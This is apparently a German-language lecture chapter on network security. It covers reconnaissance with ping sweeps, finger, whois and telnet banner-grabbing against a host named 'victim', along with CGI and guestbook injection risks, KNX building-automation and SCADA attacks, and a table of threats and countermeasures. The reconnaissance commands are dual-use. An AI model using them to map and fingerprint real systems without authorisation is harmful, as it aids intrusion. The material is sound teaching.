$ netstat Aktive Internetverbindungen (ohne Server) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 www.ee.fhm.edu:www-http otdial-212-144-110:1090 VERBUNDEN tcp 0 0 www.ee.fhm.edu:www-http otdial-212-144-110:1088 VERBUNDEN tcp 0 0 www.ee.fhm.edu:www-http otdial-212-144-110:1094 VERBUNDEN tcp 0 0 www.ee.fhm.edu:www-http otdial-212-144-110:1092 VERBUNDEN tcp 0 0 www.ee.fhm.edu:www-http 212.123.104.2:61892 VERBUNDEN tcp 0 0 www.ee.fhm.edu:www-http 212.123.104.2:61893 VERBUNDEN tcp 1 47784 www.ee.fhm.edu:www-http niven.antares.de:44742 CLOSE_WAIT tcp 0 6343 www.ee.fhm.edu:www-http niven.antares.de:44744 FIN_WAIT1 ... $ lsof | grep -v root COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME bash 22644 plate cwd DIR 8,17 2048 2049 /home/plate bash 22644 plate rtd DIR 8,2 1024 2 / bash 22644 plate txt REG 8,2 475348 57124 /bin/bash bash 22644 plate mem REG 8,2 148968 63290 /lib/ld-2.0.7.so bash 22644 plate mem REG 8,2 500910 63289 /lib/libncurses.so.4.2 bash 22644 plate mem REG 8,2 65006 63296 /lib/libdl.so.2 bash 22644 plate mem REG 8,2 2475225 63293 /lib/libc.so.6 bash 22644 plate mem REG 8,2 113110 63299 /lib/libnss_compat.so.1 bash 22644 plate mem REG 8,2 106544 63298 /lib/libnsl.so.1 bash 22644 plate mem REG 8,2 167648 63302 /lib/libnss_files.so.1 bash 22644 plate 0u CHR 3,0 3493 /dev/ttyp0 bash 22644 plate 1u CHR 3,0 3493 /dev/ttyp0 bash 22644 plate 2u CHR 3,0 3493 /dev/ttyp0 bash 22644 plate 255u CHR 3,0 3493 /dev/ttyp0 ...Es gibt zwei verschiedene Arten von Portscan-Erkennungsprogrammen:
Auf dieser Ebene kann ein Angreifer auch versuchen, allgemeine Informationen über seine 'Opfer' einzuholen. Eine erst Möglichkeit ist das Abscannen eines Netzes auf 'aktive' IP-Adressen, d. h. IP-Adressen, unter denen ein Rechner ansprechbar ist. Dazu genügt das ping-Kommando. Ein kleines Shell-Skript erledigt die Arbeit in Sekunden (unter Solaris liefert ping als Default nur 'xxx is alive.' oder 'xxx unreachable.'. Gegebenenfalls ist ping mit geeigneten Parametern zu versehen):
for VICTIM in `seq 1 254` do ping 192.168.1.$VICTIM doneJetzt kennt der Angreifer alle in Frage kommenden Opfer (auch wenn sie keinen Nameservereintrag besitzen). Die nächste Stufe könnte der Einsatz eines Portscannes sein. Oder man sucht mal nach Benutzern auf dem Rechner.
Das geht mit dem finger-Kommando. Das finger-Kommando erlaubt es, Informationen über Benutzer zu erlangen, weshalb es aus Gründen des Datenschutzes oft auch gesperrt wird. Mit dem Kommando 'finger user@host' kann man sich über einen bestimmten Benutzer informieren. Die Ausgabe sieht beispielsweise folgendermaßen aus:
Login: plate Name: Juergen Plate
Directory: /home/plate Shell: /bin/sh
No unread mail.
On since Sun Nov 20 19:36 (MET) on ttyp3
No Plan.
Die Informationen werden einigen Standarddateien des
Rechners entnommen.
Nun sehen wir auf den offenen Ports mal nach, welche Version die Server-Dienste
haben. Ist der Administrator nachlässig, findet sich vielleicht Software,
für die schon eine Sicherheitslücke veröffentlicht wurde. Mit
viel Glück findet ein Scriptkiddie sogar noch ein "Exploit",
ein Programm, das die Sicherheitslücke demonstriert.
Das Ausspähen der Server-Dienste erfolgt einfach per Telnet auf die
entsprechenden Ports. Das folgende Beispiel zeigt eine Untersuchung der
Ports 23 (Telnet), 25 (Mail), 21 (FTP) und 80 (HTTP). Die Eingabe sind
fett wiedergegeben:
plate@multimedia:~ > telnet victim 23 Trying 141.39.253.196... Connected to victim. Escape character is '^]'. Connection closed by foreign host.Der Telnet-Port ist also offen.
plate@multimedia:~ > telnet victim 25 Trying 141.39.253.196... Connected to victim. Escape character is '^]'. 220 victim.e-technik.fh-muenchen.de ESMTP Sendmail 8.9.3/8.9.3; Mon, 8 Jul 2002 08:01:14 +0200 quit 221 victim.e-technik.fh-muenchen.de closing connection Connection closed by foreign host.Auf dem Opfer läft also Sendmail, Version 8.9.3. Der ist nicht mehr ganz neu!
plate@multimedia:~ > telnet victim 21
Trying 141.39.253.196...
Connected to victim.
Escape character is '^]'.
220- Youre welcome on the FTP - Server
220- victim.e-technik.fh-muenchen.de
220-
220- Please try 'ftp' for anonymous login
220-
220 victim.e-technik.fh-muenchen.de FTP server (Version wu-2.4.2-academ[BETA-18]
(1) Sun Apr 4 23:07:17 /etc/localtime 1999) ready.
quit
221 Goodbye.
Connection closed by foreign host.
Das läuft der Wu-FTP-Server, Version 2.4.2, der auch nicht mehr ganz neu
ist. Außerdem sollte man es mal mit anonymem FTP probieren.
plate@multimedia:~ > telnet victim 80 Trying 141.39.253.196... Connected to victim. Escape character is '^]'. GET /index.html HTTP/1.0 accept: */* HTTP/1.1 200 O.K. Date: Mon, 08 Jul 2002 06:02:39 GMT Server: mod_perl/1.18 Apache/1.3.4 (Unix) (SuSE/Linux) PHP/3.0.7 Connection: close Content-Type: text/html <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> ... Connection closed by foreign host.Hier erfahren wir sehr viel. Der Apache-Server mit der Version 1.3.4 ist auch nicht der jüngste. Zudem wird uns mitgeteilt, daß es sich um das Betriebssystem Linux handelt (Distribution von SuSE). An den Versionsnummern des Perl- und PHP-Moduls könnte man sogar die Version der Distribution ermitteln. Wenn man jetzt weitere Ports abklappert (POP3, IMAP, Finger, usw.) und die CERT-Advisories durchsieht, findet man sicher etliche Angriffspunkte auf das System.
Der whois-Dienst liefert Informationen über Netzteilnehmer, sofern sich
diese bei einem Whois-Server haben registrieren lassen. Das kann man
über ein Formular, netinfo/user-template.txt auf nic.ddn.mil, machen,
das dann an registar@nic.ddn.mil geschickt wird). Das Kommando lautet:
whois Namensangabe
wenn der voreingestellte Server verwendet wird. Mit Serverangabe lautet
das Kommando:
whois -h Serverrechner Namensangabe
Man erhält dann alle Angaben aus der Datenbank, die zur Namensangabe
passen. Als Namensangabe kann entweder ein Userpseudonym (Login-Name)
oder der "echte" Name, eventuell als 'Nachname, Vorname', angegeben
werden. Bei grafischen Benutzerschnittstellen erfolgt die Parameterangabe
über Dialogfelder und nicht in der Kommandozeile.
Als Whois-Server können Sie 'whois.nic.de' oder 'whois.internic.net'
angeben.
Über das Common Gateway Interface, also über CGI-Scripts, können Attacken
gestartet werden. Normalerweise erlaubt ein CGI-Script dem Benutzer einer Website,
interaktive Prozesse vom Browser auszulösen, z. B. auf eine Datenbank zuzugreifen
oder ein Formular vom Server auswerten zu lassen.
Die Sicherheitslücken bei CGI-Programmen entstehen durch Fehlkonfiguration der
Serversoftware und durch Fehler im Script selbst. Dazu ist
es nicht notwendig, daß das Script von Haus aus dazu angelegt ist Schaden anzurichten.
Oft reicht eine fehlende Sicherheitsabfrage, die unabsichtlich oder aus
Bequemlichkeit nicht eingebaut wurde. Deshalb sollten bei CGI-Programmen grundsätzlich
alle Eingaben als "böse" betrachtet werden. Zu bedenken ist auch, daß
der Angreifer nicht unbedingt das entworfene Formular ausfüllen muß. Er kann seine
Eingaben für das CGI-Programm auch direkt in der URL-Zeile des Browsers tätigen.
Ein weiterer Angriffspunkt ist die die Speicherung unerwünschter Daten auf dem
Server. Dazu ein Beispiel: Viele Webseiten bieten Gästebücher
an, in die jeder etwas eintragen kann. Der Hacker trägt neben "normalem" Text
auch HTML-Code, z. B. eine URL, ein Javascript-Programm oder eine Referenz auf
ein Active-X-Control ein. Leser des Gästebuches erleiden durch diese Teile der
Seite Schaden - oder werden auch nur beleidigt. Es gab den Fall, daß irgendwelche
"Spaßvögel" im Gästebuch von McDonalds Links auf Porno-Sites hinterlassen
haben.
Um auch bei Fehlern in den Skripts möglichst wenig Angriffsfläche zu bieten, darf
der WWW-Server nur unter einer Benutzerkennung mit möglichst wenig Rechten laufen
(z. B. "nobody"). Auch die CGI-Programme dürfen nur unter geringen Rechten laufen,
niemals als Root-Programme. Alle CGI-Scripte gehören in ein spezielles Verzeichnis,
etwa "serverhost/cgi-bin", in das nichts anderes kommt.
Auf Gefahren, die speziell die Anwenderseite betreffen, wird in Kapitel 7 eingegangen.
Die Zeiten klassischer Verkabelungen, bei denen Schalter und Verbraucher über
Stromleitungen verbunden wurden, sind teilweise schon vorbei. Gebäudeleitsysteme
wie KNX, Industriebusse und "klassische" Vernetzung finden sich in unseren Gebäuden.
Weit verbreitet ist sicherlich KNX (früher "EIB"), oft mit Anbindung des Gebäudes an die EDV.
Welche Risiken birgt dieser Wandel? So ist das Hacking von Gebäudeleittechnik kein
Einzelfall mehr so zum Beispiel im Jahr 2014 bei Google. Das Gebäudemanagement
der Google-Zentrale in Sydney wurde gehackt. Die verwendete Software wurde nicht
regelmäßig gewartet, so dass einige Sicherheitslücken entstanden waren, durch die
ein Zugriff auf die Gebäudeleittechnik über eine Internetverbindung möglich wurde.
Eine hundertprozentige Sicherheit wird es nie geben, aber man kann versuchen, den ITSicherheitslevel individuellzu bestimmen und anzuheben. Was bedeutet das für den Alltag von Elektroinstallateuren, Architekten, Besuchern und Eigentümern moderner Gebäude? Oft spielt die Sicherheit bei der Planung und Installation von Gebäudeleitsystemen nur eine untergeordnete Rolle. In der Regel sind Funktion und Kosten die bestimmenden Faktoren. Oft fehl auch einfach das Bewusstsein, dass beispielsweise das Öffnen der Haustür per Smartphone und WLAN nicht nur das eigene Smartphone betrifft, sondern praktisch jeden Computer in Reichweite des WLAN. In der Gebäudeautomation existieren grundsätzlich zwei Angriffswege: Der Gebäudebus und die übergeordnete EDV.
Die dezentralen Steuerungseinheiten sind über Bussysteme (z. B. KNX, CAN-Bus, BACnet) miteinander vernetzt. Auf der obersten Ebene der Gebäudeautomation wirkt die Gebäudeleittechnik. Die Datenkommunikation, die dort zusammenläuft, verbindet angrenzende Systeme auf der Basis von Ethernet und TCP/IP miteinander. Gerade diese Vernetzung begünstigt die Einwanderung von Sicherheitsrisiken in die einzelnen Bereiche. Wenn wir die Aufgaben der Systeme betrachten, egibt sich die folgende Aufteilung:
Die Sicherheit eines jeden Systems ist nahezu immer den Benutzerwünschen entgegengesetzt. Möchten wir beispielsweise von jedem Schalter aus jede Lampe steuern können, so kann prinzipiell auch ein Angreifer von diesem Schalter aus jede Lampe steuern. Befinden sich diese Lampen dann auch noch in unterschiedlichen KNX-Linien, braucht der Schalter für seine eigentliche Funktion natürlich auch Zugriff auf die anderen Linien, um die dort festgelegten Gruppenadressen erreichen zu können.
Da der KNX-Bus selbst kaum Sicherheitsmechanismen mit sich bringt und viele Sicherheitskomponenten derzeit eher Nischenprodukte sind, kann ein Angreifer in der Regel alle zur Verfügung stehenden Funktionen nutzen. Ein Angreifer verbindet sich nun üblicher Weise innerhalb der Linie. Er kann nun die volle Kommunikation belauschen und auch daran teilnehmen. Die einzelnen Komponenten einer Linie reagieren in der Regel auf alle Befehle, die an die jeweiligen Gruppenadressen gesendet werden. Damit ist der Angreifer in der Lage, alle Aktoren innerhalb seiner Linie zu kompromittieren. Häufig existieren auch Verbindungen zwischen den einzelnen Linien. Dies sind zentrale Gruppenadressen, die etwa bei einem Feuer- oder Einbruchsalarm ausgelöst werden. Dazu sind die Linien über die Linienkoppler verbunden. Diese Systemarchitektur erhöht die Tragweite von Angriffen auf Leitsysteme. Auch ist KNX nicht "eigensicher". Ein aggressives Timing eines Angreifers würde dazu führen, dass KNX-Installationen bzw. die entsprechenden Gebäude unbenutzbar werden. Das betrifft auch andere Standards oder Entwicklungen für das sogenannte Smart Home ( SZ vom 6. März 2015, "Als eine Glühbirne das Smart Home lahmlegte").
Sicherlich könnte bei der Installation ein Regelwerk erstellt werden, das die Kommunikation auf ein Minimum einschränkt. Solche Regeln müssen aber gewartet und aktuell gehalten werden. Doch selbst bei gepflegten und den Angreifer behindernden Filtern auf den Linienkopplern sind die Möglichkeiten eines Angriffes noch lange nicht erschöpft. So benötigt z. B. eine Visualisierung auch Zugriff auf die jeweiligen Linien und Unterlinien. Entsprechend müssen die jeweiligen Linienkoppler und deren Regelwerke dafür geöffnet werden. Insofern verfügen KNX und Genossen über einiges an Angriffsfläche. Es würde schon genügen, wie die Glübirne im SZ-Bericht den Bus mit sinnlosen Meldungen zu verstopfen. Auf dem Blog von Mark Semmler zeigt dies eindrucksvoll der Artikel KNX-Sicherheit: Draugr - Angriffe gegen KNX/EIB. Als Plattform für Draugr kommt ein Raspberry Pi zum Einsatz, der über das ROT-Modul von Busware mit dem KNX-Bus kommuniziert. Die Plattform ist kostengünstig, unauffällig und kann mit Hilfe eines Netzteils, PoE oder im Notfall auch über Batterien mit Strom versorgt werden. Die Kommunikation kann über WLAN oder UMTS ferngesteuert erfolgen.
Es gibt aber auch kommerzielle Systeme, die den Angriff auf den Gebäudebus demonstrieren. Die Firma Antago (www.antago.info) hat zwei System entwickelt:Wie schon erwähnt, verbindet die Anbindung an die klassische EDV das Gebäude mit allen gängigen Problemen der klassischen IT-Sicherheit. Beispielsweise kann ein Angreifer auch ohne die oben genannten Tools das Gebäude genau so fernsteuern, wenn er erfolgreich den Visualisierungs-Server kompromittiert. Ebenso lassen sich Linien auch mit Netzwerklinienkopplern verbinden. Dies bedeutet dann, dass die linienübergreifende Kommunikation durch das reguläre EDV-Netzwerk geschleust wird.
Gebäudeleitsysteme werden oft nur als Aufgabe der Elektroinstallateure und Architekten gesehen, die IT-Spezialisten bleiben aussen vor. Eine Kommunikation zwischen diesen drei Parteien findet nur dann statt, wenn der Visualisierungs-Server installiert wird. Daher müssen Elektroinstallateure oft sehr viel mehr Tätigkeiten im Bereich der EDV ausführen als ursprünglich vorgesehen. Oft haben sie (nicht nur unter Zeitdruck) nur die Funktion vor Augen. Die IT selbst hat mit den Leitsystemen häufig kaum etwas zu tun und weiss oft nicht, was dahinter steckt. Oft ist sich die IT auch nicht der eigentlichen Tragweite eines Angriffes bewusst. Denn wenn das Visualisierungs-System in der Lage ist, das Gebäude zu überwachen und zu steuern, kann dies auch eine eigeschleuste Schadsoftware.
Ein weiterer Punkt ist die Aktualität der eingesetzten Software. Um Angriffe auf Computer zu vermeiden, würde man ein "kassisches" EDV-System so aktuell wie möglich halten und regelmäßig Updates und Patches einspielen. Doch Gebäudesysteme sind in dieser Richtung eher geschlossene Komponenten und niemand kann oder will garantieren, dass die hier laufenden Programme nach einer Aktualisierung des Computers so einwandfrei wie zuvor arbeiten. So bleiben soche Systeme in der Regel auf ihrem ursprünglichen Softwarestand und es wird als Alternative versucht, diese Komponenten zu isolieren. Da eine solche Isolation aber auch bedeutet, dass der Zugriff und somit die Funktion erschwert wird, läßt sich dies dies häufig nur bedingt realisieren.
In der Standard-IT eingesetzten Sicherheitstechniken wie Virenscanner, Firewalls und IDS/IPS (Intrusion Detection System/Intrusion Prevention System) eignen auch für den Bereich der Gebäudeautomation, jedoch ist hier zusätzliches Know-how gefragt und der Betrieb der Lösungen ist oft zeitaufwendiger. Die genannten Systeme können Angriffe erkennen und Informationen über diese Angriffe speichern, benötigen jedoch einen hohen Aufwand an Pflege und natürlich die ständige überwachung der Protokolldateien. Auch deckt der Schutz natürlich nicht alle Angriffsszenarien ab. Bei der Planung sollten bereits die IT-Abteilung, die Architekten und die Elektroinstallateure an einem Tisch sitzen.
Noch weit mehr gilt dies für SCADA-Systeme, die über eine noch viel größere Tragweite verfügen als Gebäudeleitsysteme. SCADA-Systeme (Supervisory Control and Data Acquisition) steuern in der Regel Industrieanlagen, lassen sich aber ähnlich angreifen wie Gebäudeleitsysteme. In der Vergangenheit sind eine Vielzahl von Angriffen auf solche Systeme bekannt geworden, der bekannteste Fall war wohl "Stuxnet", ein Computerwurm, der im Juni 2010 entdeckt wurde. Das Schadprogramm wurde speziell für SCADA-Systeme der Firma Siemens (Simatic S7) konzipiert. Dabei wurde in die Steuerung von Frequenzumrichtern der Hersteller Vacon aus Finnland und Fararo Paya in Teheran eingegriffen.
Aber auch kleine Dinge könne die Sicherheit beeinträchtigen. Wie das folgende Bild eines Routers zeigt, ist das Passwort gleich einem Teil der MAC-Adresse. Die MAC-Adresse ist im LAN leicht zu ermitteln (z. B. über das ARP-Kommando). Ist der Eindringling erstmal im Netz (z. B. über einen Besucher- oder Wartungs-Zugang), kann er den Router umkonfigurieren und sich so einen dauerhafte Zugang von außen ermöglichen.

Gebäudeleitsysteme und deren Sicherheit sind keine Frage der Zukunft mehr, sondern ein aktuelles Thema der IT und physischen IoT (Internet of Things)Sicherheit. Der Schutz von Leitsystemen ist nicht pauschal zu leisten. Grundlegend baut ein "sicherer" Betrieb von Leitsystemen auf drei Säulen auf:
Um das zu erreichen, bedarf es dem Zusammenspiel aus IT und Gebäudetechnik, um gemeinsam sicherer zu werden.
| Bedrohung | Angriff | Maßnahme | |
|---|---|---|---|
| ICMP | Eindringen, Denial-of-Service | Redirect, TTL-Exceeded, Destination Unreachable, Ping-of-Death | Authentisierung, Filtern, auf Router abweisen, Overflow abfangen |
| TCP | Eindringen, Maskerade, Denial-of-Service | Hijacking, Asynchrone State, IP-Spoofing, SYN-Flooding | Übernahme privilegierter Rechte verhindern, Überwachung, Verschlüsselung, Authentisierung,Signatur, IP-Spoofing verhindern |
| UDP | Eindringen, Maskerade, Denial-of-Service | UDP-Spoofing, Flooding, echo, Ausnutzen privilegierter Ports | Schutz auf Applikationsebene, chargen und echo filtern, Antworten auf echo filtern, Portnummern kleiner 1024 filtern |
| DNS | Maskerade, Denial-of-Service | IP-Spoofing, Sniffing, Penetration des DNS-Caches | Splitten der DNS-Server, Inverse DNS-Anfragen filtern, IP-Spoofing verhindern |
| ARP | Maskerade, Umleiten | Fälschen von ARP-Antworten | ARP-Tabellen fixieren, ARP-Request auf Firewalls abblocken |
| RIP | Maskerade, Umleiten | Loose-Source-Routing, RIP-Spoofing | Filtern von Loose-Source-Routing-Paketen, Statisches Routen |
| SNMP | Maskerade, Eindringen | Abhören der Community-Strings | Filtern, Verschlüsselung, nicht über Firewall zulassen |
| NIS/NIS+ | Maskerade, Eindringen | Umleiten, Dateidiebstahl, Brute-Force-Attacke | Filtern, starke Authentisierung nicht über Firewall zulassen |
| FTP | Maskerade, Eindringen, Manipulation, Informationsdiebstahl | FTP-Hijacking, cwd, cdup, retr, stor, dele, list, nlist, site, syst, port Anonymous FTP | Filtern, Rechteverwaltung, port durch pasv ersetzen, Zugriff nur auf ausgewählte Daten erlauben |
Zum vorhergehenden Abschnitt |
Zum Inhaltsverzeichnis |
Zum nächsten Abschnitt |